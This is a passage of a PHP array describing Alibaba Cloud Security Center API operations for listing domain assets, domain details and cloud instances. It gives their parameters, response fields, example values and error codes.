10\\n}","errorExample":""},{"type":"xml","example":"\\n 5\\n C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\n 5\\n 10\\n","errorExample":""}]', 'title' => 'DescribeDomainCount', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeDomainList' => [ 'summary' => 'Queries the information about the domain assets within your Alibaba Cloud account.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.122.XX.XX', ], ], [ 'name' => 'FuzzyDomain', 'in' => 'query', 'schema' => [ 'description' => 'The keyword that is used to query domain names. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'DomainType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the domain name that you want to query. Valid values:'."\n" ."\n" .'* **root**: root domain name'."\n" .'* **sub**: subdomain name'."\n", 'type' => 'string', 'required' => false, 'example' => 'root', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '27', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'DomainListResponseList' => [ 'description' => 'An array that consists of the information about domain names.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'IpList' => [ 'description' => 'The IP addresses of the domain name.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX,1.0.XX.XX', ], 'Domain' => [ 'description' => 'The name of the domain or website.'."\n", 'type' => 'string', 'example' => 'example.com', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 10,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 27,\\n \\"Count\\": 10\\n },\\n \\"DomainListResponseList\\": [\\n {\\n \\"IpList\\": \\"1.2.XX.XX,1.0.XX.XX\\",\\n \\"Domain\\": \\"example.com\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0B48AB3C-84FC-424D-A01D-B9270EF46038\\n \\n 10\\n 10\\n 27\\n 10\\n \\n \\n 1.2.XX.XX,1.0.XX.XX\\n tst.com\\n \\n","errorExample":""}]', 'title' => 'DescribeDomainList', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeDomainDetail' => [ 'summary' => 'Queries the details of domain assets within your Alibaba Cloud account.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'DomainName', 'in' => 'query', 'schema' => [ 'description' => 'The domain name or the name of website that you want to query.'."\n" ."\n" .'> Fuzzy match is not supported. You must enter a complete domain name or a website.'."\n", 'type' => 'string', 'required' => true, 'example' => 'example.com', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Domain' => [ 'description' => 'The domain name.'."\n", 'type' => 'string', 'example' => 'example.com', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3A85CFCF-05C8-451A-9E41-C0D5E96BA407', ], 'VulCount' => [ 'description' => 'The total number of vulnerabilities in your website assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AlarmCount' => [ 'description' => 'The total number of alerts in your website assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RootDomain' => [ 'description' => 'The name of the root domain that corresponds to the domain.'."\n", 'type' => 'string', 'example' => 'example.com', ], 'DomainDetailItems' => [ 'description' => 'An array that consists of the details about the domain asset.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The instance UUID of the domain asset.'."\n", 'type' => 'string', 'example' => 'lb-bp1g9dohoyin9cjhn6****', ], 'InternetIp' => [ 'description' => 'The public IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'iZm5e6w7dzsktt6mz4yimeZ-6****', ], 'InstanceId' => [ 'description' => 'The instance ID of the asset.'."\n", 'type' => 'string', 'example' => 'i-m5e6w7dzsktt6mz4***', ], 'IntranetIp' => [ 'description' => 'The private IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'AssetType' => [ 'description' => 'The type of the domain asset. Valid values:'."\n" ."\n" .'* **0**: an Elastic Compute Service (ECS) instance'."\n" .'* **1**: a Server Load Balancer (SLB) instance'."\n" .'* **2**: a Network Address Translation (NAT) gateway'."\n" .'* **3**: an ApsaraDB RDS instance'."\n" .'* **4**: an ApsaraDB for MongoDB instance'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DataExists', 'errorMessage' => '%s data exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Domain\\": \\"example.com\\",\\n \\"RequestId\\": \\"3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\",\\n \\"VulCount\\": 2,\\n \\"AlarmCount\\": 2,\\n \\"RootDomain\\": \\"example.com\\",\\n \\"DomainDetailItems\\": [\\n {\\n \\"Uuid\\": \\"lb-bp1g9dohoyin9cjhn6****\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"InstanceName\\": \\"iZm5e6w7dzsktt6mz4yimeZ-6****\\",\\n \\"InstanceId\\": \\"i-m5e6w7dzsktt6mz4***\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"AssetType\\": \\"0\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n example.com\\n 3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\n 2\\n 2\\n tst.com\\n \\n lb-bp1g9dohoyin9cjhn6****\\n 1.2.XX.XX\\n iZm5e6w7dzsktt6mz4yimeZ-6****\\n i-m5e6w7dzsktt6mz4***\\n 1.2.XX.XX\\n 0\\n \\n","errorExample":""}]', 'title' => 'DescribeDomainDetail', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeCloudCenterInstances' => [ 'summary' => 'Queries the information about assets that meet specific search conditions. For example, you can search for assets by the instance name or region of the asset.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92021', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the region in which the asset resides.'."\n", 'type' => 'string', 'deprecated' => true, 'required' => false, 'example' => 'cn-hangzhou', ], ], [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions. The value of this parameter is in the JSON format and is case-sensitive.'."\n" ."\n" .'> You can search for an asset by using the search conditions, such as the instance ID, instance name, VPC ID, region, or public IP address. You can call the [DescribeCriteria](~~149773~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"name":"riskStatus","value":"YES"},{"name":"internetIp","value":"1.2.XX.XX"}]', ], ], [ 'name' => 'MachineTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of asset to be queried. Values:'."\n" .'- **ecs**: Server '."\n" .'- **cloud_product**: Cloud Product '."\n" .'- **eci**: Elastic Container Instance '."\n" .'- **rund**: RunD Container Instance '."\n" .'- **runc**: RunC Container Instance', 'type' => 'string', 'required' => false, 'example' => 'ecs', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relationship among multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: The logical relationship among search conditions is **OR**.'."\n" .'* **AND**: The logical relationship among search conditions is **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '100', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Importance', 'in' => 'query', 'schema' => [ 'description' => 'The importance of the asset. Valid values:'."\n" ."\n" .'* **2**: an important asset'."\n" .'* **1**: a common asset'."\n" .'* **0**: a test asset'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'NoGroupTrace', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to internationalize the name of the default group. Valid values:'."\n" ."\n" .'* **true**: The system returns the Chinese name of the default group for the GroupTrace response parameter.'."\n" .'* **false**: The system returns default for the GroupTrace response parameter.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'title' => '是否使用NextToken方式拉取资产列表数据。', 'description' => 'Specifies whether to use the NextToken method to retrieve a new page of results. If you set UseNextToken to true, the value of TotalCount is not returned. Valid values:'."\n" ."\n" .'- **true**: The NextToken method is used.'."\n" .'- **false**: The NextToken method is not used.', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'title' => '使用NextToken方式下返回的NextToken值。', 'description' => 'The value of NextToken that is returned when the NextToken method is used. You do not need to specify this parameter for the first request.', 'type' => 'string', 'required' => false, 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1232428423234****', ], ], [ 'name' => 'Flags', 'in' => 'query', 'schema' => [ 'description' => 'Asset vendor. Multiple asset vendors should be separated by a comma (,). Values:'."\n" .'- **0**: an asset provided by Alibaba Cloud'."\n" .'- **1**: an asset outside Alibaba Cloud'."\n" .'- **2**: an asset in a data center'."\n" .'- **3**, **4**, **5**, **7**, **14**, **16**: an asset from a third-party cloud service provider'."\n" .'- **8**: a lightweight asset'."\n" .'- **9**: a Serverless App Engine (SAE) instance'."\n" .'- **10**: an instance in Platform for AI (PAI)', 'type' => 'string', 'required' => false, 'example' => '1,2,3', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the call is successful. Valid values:'."\n" ."\n" .'* **true**: The call is successful.'."\n" .'* **false**: The call fails.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '32A73759-4C0F-4801-BE98-901223ACEE9A', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'NextToken' => [ 'title' => '使用NextToken方式下返回的NextToken值。', 'description' => 'The value of NextToken that is returned when the NextToken method is used.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Instances' => [ 'description' => 'The details about the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the asset.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the asset. Valid values:'."\n" ."\n" .'* **Running**: running'."\n" .'* **notRunning**: stopped'."\n", 'type' => 'string', 'example' => 'Running', ], 'CpuInfo' => [ 'description' => 'The CPU information about the asset.'."\n", 'type' => 'string', 'example' => 'Intel(R) Xeon(R) Platinum 8269CY CPU @ 2.50GHz', ], 'InternetIp' => [ 'description' => 'The public IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'Kernel' => [ 'description' => 'The version of the kernel.'."\n", 'type' => 'string', 'example' => '3.10.0-1127.19.1.el7.x86_64', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to scan the asset. Valid values:'."\n" ."\n" .'* **true**: Security Center is authorized to scan the asset.'."\n" .'* **false**: Security Center is not authorized to scan the asset.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OsName' => [ 'description' => 'The kernel version of the asset.'."\n", 'type' => 'string', 'example' => '-', ], 'Tag' => [ 'description' => 'The name of the asset tag.'."\n", 'type' => 'string', 'example' => 'InternetIp,test', ], 'ClientStatus' => [ 'description' => 'The status of the Security Center agent installed on the asset. Valid values:'."\n" ."\n" .'* **online**: The Security Center agent is **enabled**.'."\n" .'* **offline**: The Security Center agent is **disabled**.'."\n" .'* **pause**: The Security Center agent is **suspended**.'."\n", 'type' => 'string', 'example' => 'online', ], 'Mem' => [ 'description' => 'The size of the memory. Unit: MB.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1024', ], 'VpcInstanceId' => [ 'description' => 'The ID of the VPC to which the asset belongs.'."\n", 'type' => 'string', 'example' => 'vpc-uf60agqq65bs98zoo****', ], 'TagId' => [ 'description' => 'The ID of the asset tag.'."\n", 'type' => 'string', 'example' => '121313,41412', ], 'Flag' => [ 'description' => 'Indicates whether the asset is an Alibaba Cloud asset. Valid values:'."\n" ."\n" .'* **0**: The asset is an Alibaba Cloud asset.'."\n" .'* **1**: The asset is not an Alibaba Cloud asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'LastLoginTimestamp' => [ 'description' => 'The timestamp when the Security Center agent was last online. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1637592907000', ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to scan the asset. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **5**: Advanced edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **10**: Value-added Plan edition'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Region' => [ 'description' => 'The region ID of the asset.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou-cm***-***', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'yztest-l***', ], 'PodCount' => [ 'description' => 'The number of pods.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'HcStatus' => [ 'description' => 'Indicates whether baseline risks are detected on the asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'CreatedTime' => [ 'description' => 'The timestamp when the cluster was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1607365213000', ], 'GroupTrace' => [ 'description' => 'The name of the group to which the asset belongs.'."\n", 'type' => 'string', 'example' => 'default', ], 'ClusterId' => [ 'description' => 'The ID of the cluster.'."\n", 'type' => 'string', 'example' => 'c690a0789419f4284a4e0a29e12fe****', ], 'RiskStatus' => [ 'description' => 'Indicates whether risks are detected on the asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'Cores' => [ 'description' => 'The number of the CPU cores used by the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'VulStatus' => [ 'description' => 'Indicates whether vulnerabilities are detected on the asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'YES', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated on the asset. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'MacListString' => [ 'description' => 'The MAC addresses of the system.'."\n", 'type' => 'string', 'example' => '00:13:3e:31:13:39,02:12:67:b8:**:**', ], 'Importance' => [ 'description' => 'The importance of the asset. Valid values:'."\n" ."\n" .'* **2**: an important asset'."\n" .'* **1**: a common asset'."\n" .'* **0**: a test asset'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'HealthCheckCount' => [ 'description' => 'The number of baseline risks that are detected on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Ip' => [ 'description' => 'The public IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'Os' => [ 'description' => 'The operating system of the asset.'."\n", 'type' => 'string', 'example' => 'Linux', ], 'AuthModifyTime' => [ 'description' => 'The timestamp when Security Center is authorized to scan the asset.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1627974044000', ], 'SafeEventCount' => [ 'description' => 'The number of alerts that are generated on the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'InstanceId' => [ 'description' => 'The ID of the asset.'."\n", 'type' => 'string', 'example' => 'i-m5***', ], 'AssetType' => [ 'description' => 'The type of the asset. Valid values:'."\n" ."\n" .'* **0**: an ECS instance'."\n" .'* **1**: a Server Load Balancer (SLB) instance'."\n" .'* **2**: a Network Address Translation (NAT) gateway'."\n" .'* **3**: an ApsaraDB RDS instance'."\n" .'* **4**: an ApsaraDB for MongoDB instance'."\n" .'* **5**: an ApsaraDB for Redis instance'."\n" .'* **6**: a container image'."\n" .'* **7**: a container'."\n", 'type' => 'string', 'example' => 'ecs', ], 'IntranetIp' => [ 'description' => 'The private IP address of the asset.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'Vendor' => [ 'description' => 'Asset vendor. Values:'."\n" .'- **0**: an asset provided by Alibaba Cloud'."\n" .'- **1**: an asset outside Alibaba Cloud'."\n" .'- **2**: an asset in a data center'."\n" .'- **3**, **4**, **5**, **7**, **14**, **16**: an asset from a third-party cloud service provider'."\n" .'- **8**: a lightweight asset'."\n" .'- **9**: a Serverless App Engine (SAE) instance'."\n" .'- **10**: an instance in Platform for AI (PAI)', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RegionId' => [ 'description' => 'The ID of the region in which the asset resides.'."\n", 'type' => 'string', 'example' => 'cn-hanghzou', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => 'c9107c04-942f-40c1-981a-f1c1***', ], 'GroupId' => [ 'description' => 'The ID of the asset group to which the asset belongs.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '4120080', ], 'RegionName' => [ 'description' => 'The name of the region in which the asset resides.'."\n", 'type' => 'string', 'example' => 'China (Hangzhou)', ], 'VendorName' => [ 'description' => 'The name of the service provider for the asset.'."\n" .'Values:'."\n" .' - **ALIYUN**: Alibaba Cloud '."\n" .'- **OUT**: a third-party service provider'."\n" .'- **IDC**: an asset in a data center'."\n" .'- **TENCENT**: Tencent Cloud'."\n" .'- **HUAWEICLOUD**: Huawei Cloud'."\n" .'- **Microsoft**: Microsoft Azure'."\n" .'- **AWS**: Amazon Web Services (AWS)'."\n" .'- **TRIPARTITE**: a lightweight server'."\n" .'- **SAE**: a Serverless App Engine (SAE) instance'."\n" .'- **PAI**: an instance in Platform for AI (PAI)'."\n" .'- **VOLCENGINE**: VOLCENGINE Cloud'."\n" .'- **google**: GOOGLE Cloud', 'type' => 'string', 'example' => 'Tencent', ], 'AuthVersionName' => [ 'description' => 'The name of the Security Center edition that is authorized to protect the asset. Valid values:'."\n" ."\n" .'* Basic edition'."\n" .'* Anti-virus edition'."\n" .'* Advanced edition'."\n" .'* Enterprise edition'."\n" .'* Ultimate edition'."\n", 'type' => 'string', 'example' => 'Ultimate Edition', ], 'ClusterName' => [ 'description' => 'The name of the cluster.'."\n", 'type' => 'string', 'example' => 'cluster1', ], 'ExposedStatus' => [ 'description' => 'Indicates whether the asset is exposed. Valid values:'."\n" ."\n" .'* **0**: The asset is not exposed.'."\n" .'* **1**: The asset is exposed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskCount' => [ 'description' => 'The total number of baseline risks that are detected on the asset. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **account**: the number of accounts that are used to log on from unapproved logon locations and whose passwords are cracked'."\n" .'* **appNum**: the number of scanners'."\n" .'* **asapVulCount**: the total number of high-severity vulnerabilities'."\n" .'* **baselineHigh**: the number of high-risk baseline risks'."\n" .'* **baselineLow**: the number of low-risk baseline risks'."\n" .'* **baselineMedium**: the number of medium-risk baseline risks'."\n" .'* **baselineNum**: the total number of baseline risks'."\n" .'* **cmsNum**: the number of Web-CMS vulnerabilities'."\n" .'* **containerAsap**: the number of high-severity vulnerabilities that are detected on containers'."\n" .'* **containerLater**: the number of medium-severity vulnerabilities that are detected on containers'."\n" .'* **containerNntf**: the number of low-severity vulnerabilities that are detected on containers'."\n" .'* **containerRemind**: the number of alerts whose Emergency level is Reminder on containers'."\n" .'* **containerSerious**: the number of alerts Emergency level is Urgent on containers'."\n" .'* **containerSuspicious**: the number of alerts whose Emergency level is Suspicious on containers'."\n" .'* **cveNum**: the number of Linux software vulnerabilities'."\n" .'* **emgNum**: the number of urgent vulnerabilities'."\n" .'* **health**: the number of baseline alerts that are unhandled'."\n" .'* **imageBaselineHigh**: the number of high-risk baseline risks that are detected on images'."\n" .'* **imageBaselineLow**: the number of low-risk baseline risks that are detected on images'."\n" .'* **imageBaselineMedium**: the number of medium-risk baseline risks that are detected on images'."\n" .'* **imageBaselineNum**: the total number of baseline risks that are detected on images'."\n" .'* **imageMaliciousFileRemind**: the number of malicious files that are detected on images and have the Emergency level of Reminder'."\n" .'* **imageMaliciousFileSerious**: the number of malicious files that are detected on images and have the Emergency level of Urgent'."\n" .'* **imageMaliciousFileSuspicious**: the number of malicious files that are detected on images and have the Emergency level of Suspicious'."\n" .'* **imageVulAsap**: the number of high-severity vulnerabilities that are detected on images'."\n" .'* **imageVulLater**: the number of medium-severity vulnerabilities that are detected on an image'."\n" .'* **imageVulNntf**: the number of low-severity vulnerabilities that are detected on an image'."\n" .'* **laterVulCount**: the number of medium-severity vulnerabilities'."\n" .'* **newSuspicious**: the number of alerts'."\n" .'* **nntfVulCount**: the number of low-severity vulnerabilities.'."\n" .'* **remindNum**: the number of alerts whose Emergency level is Reminder'."\n" .'* **scaNum**: the number of vulnerabilities that are detected based on software component analysis'."\n" .'* **seriousNum**: the number of alerts whose Emergency level is Urgent'."\n" .'* **suspNum**: the number of alerts whose Emergency level is Suspicious'."\n" .'* **suspicious**: the total number of alerts'."\n" .'* **sysNum**: the number of Windows system vulnerabilities'."\n" .'* **trojan**: the number of trojans'."\n" .'* **uuid**: the UUIDs of assets'."\n" .'* **vul**: the number of vulnerabilities'."\n" .'* **weakPWNum**: the number of weak passwords'."\n", 'type' => 'string', 'example' => '{"account":0,"appNum":0,"asapVulCount":0,"baselineHigh":0,"baselineLow":0,"baselineMedium":0,"baselineNum":0,"cmsNum":0,"containerAsap":0,"containerLater":0,"containerNntf":0,"containerRemind":0,"containerSerious":0,"containerSuspicious":0,"cveNum":0,"emgNum":0,"health":0,"imageBaselineHigh":0,"imageBaselineLow":0,"imageBaselineMedium":0,"imageBaselineNum":0,"imageMaliciousFileRemind":0,"imageMaliciousFileSerious":0,"imageMaliciousFileSuspicious":0,"imageVulAsap":0,"imageVulLater":0,"imageVulNntf":0,"laterVulCount":0,"newSuspicious":0,"nntfVulCount":0,"remindNum":0,"scaNum":0,"seriousNum":0,"suspNum":0,"suspicious":0,"sysNum":0,"trojan":0,"uuid":"inet-37316411-37fe-4b72-b245-346a2721d4b6","vul":0,"weakPWNum":0}', ], 'IpListString' => [ 'description' => 'The IP addresses of the system.'."\n", 'type' => 'string', 'example' => '172.31.XX.XX,172.171.XX.XX', ], 'AssetTypeName' => [ 'description' => 'The name of the asset type.'."\n", 'type' => 'string', 'example' => 'Elastic Compute Service', ], 'FlagName' => [ 'description' => 'Asset vendor. Values: '."\n" .'- **ALIYUN** '."\n" .'- **OUT**'."\n" .'- **IDC** '."\n" .'- **Tencent** '."\n" .'- **HUAWEICLOUD** '."\n" .'- **Azure** '."\n" .'- **AWS** '."\n" .'- **ASK** '."\n" .'- **TRIPARTITE** '."\n" .'- **SAE** '."\n" .'- **PAI** '."\n" .'- **google** '."\n" .'- **VOLCENGINE**', 'type' => 'string', 'example' => 'ASK', ], 'AppId' => [ 'description' => 'The ID of the application.'."\n" ."\n" .'> This parameter is available only when the **Vendor** parameter is set to 9.'."\n", 'type' => 'string', 'example' => 'test', ], 'AppName' => [ 'description' => 'The name of the application.'."\n" ."\n" .'> This parameter is available only when the **Vendor** parameter is set to 9.'."\n", 'type' => 'string', 'example' => 'testAppName', ], 'ClientSubStatus' => [ 'description' => 'The sub-status of the Security Center agent installed on the asset. Valid values:'."\n" ."\n" .'* **online**: The Security Center agent is **enabled**.'."\n" .'* **offline**: The Security Center agent is **disabled**.'."\n" .'* **pause**: The Security Center agent is **suspended**.'."\n" .'* **uninstalled**: The Security Center agent is **uninstalled**.'."\n" .'* **stopped**: The Security Center agent is **stopped**.', 'type' => 'string', 'example' => 'online', ], 'TagResources' => [ 'description' => 'The custom tag added to the Lingjun node. This parameter is returned only for LINGJUN GPU-accelerated instances.'."\n", 'type' => 'string', 'example' => 'app:test,type:lingjun', ], 'PostPaidFlag' => [ 'description' => 'The billing method of the protection version currently bound to the asset. Values: - **0**: Subscription - **1**: Pay-as-you-go', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HasContainer' => [ 'description' => 'Indicates if containers are included. Valid values:'."\n" ."\n" .'* **YES**: yes.'."\n" .'* **NO**: no.', 'type' => 'string', 'example' => 'YES', ], 'ServiceId' => [ 'description' => 'Service ID. Only available for PAI instances.', 'type' => 'string', 'example' => 'dsw-76jlywunsif09bp15p', ], 'VendorUid' => [ 'title' => '多云实例的账号ID。', 'description' => 'Account ID of the multi-cloud instance.', 'type' => 'string', 'example' => '123', ], 'VendorUserName' => [ 'title' => '多云实例的账号名称。', 'description' => 'Account name of the multi-cloud instance.', 'type' => 'string', 'example' => 'VendorUserName', ], 'Namespace' => [ 'description' => 'The namespace.'."\n", 'type' => 'string', 'example' => 'crm-test', ], 'BindFileProtectType' => [ 'title' => '是否绑定防篡改授权', 'description' => 'Whether to bind tamper-proof authorization. Values:'."\n" .'- **block**: Yes'."\n" .'- **none**: No', 'type' => 'string', 'example' => 'block', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no 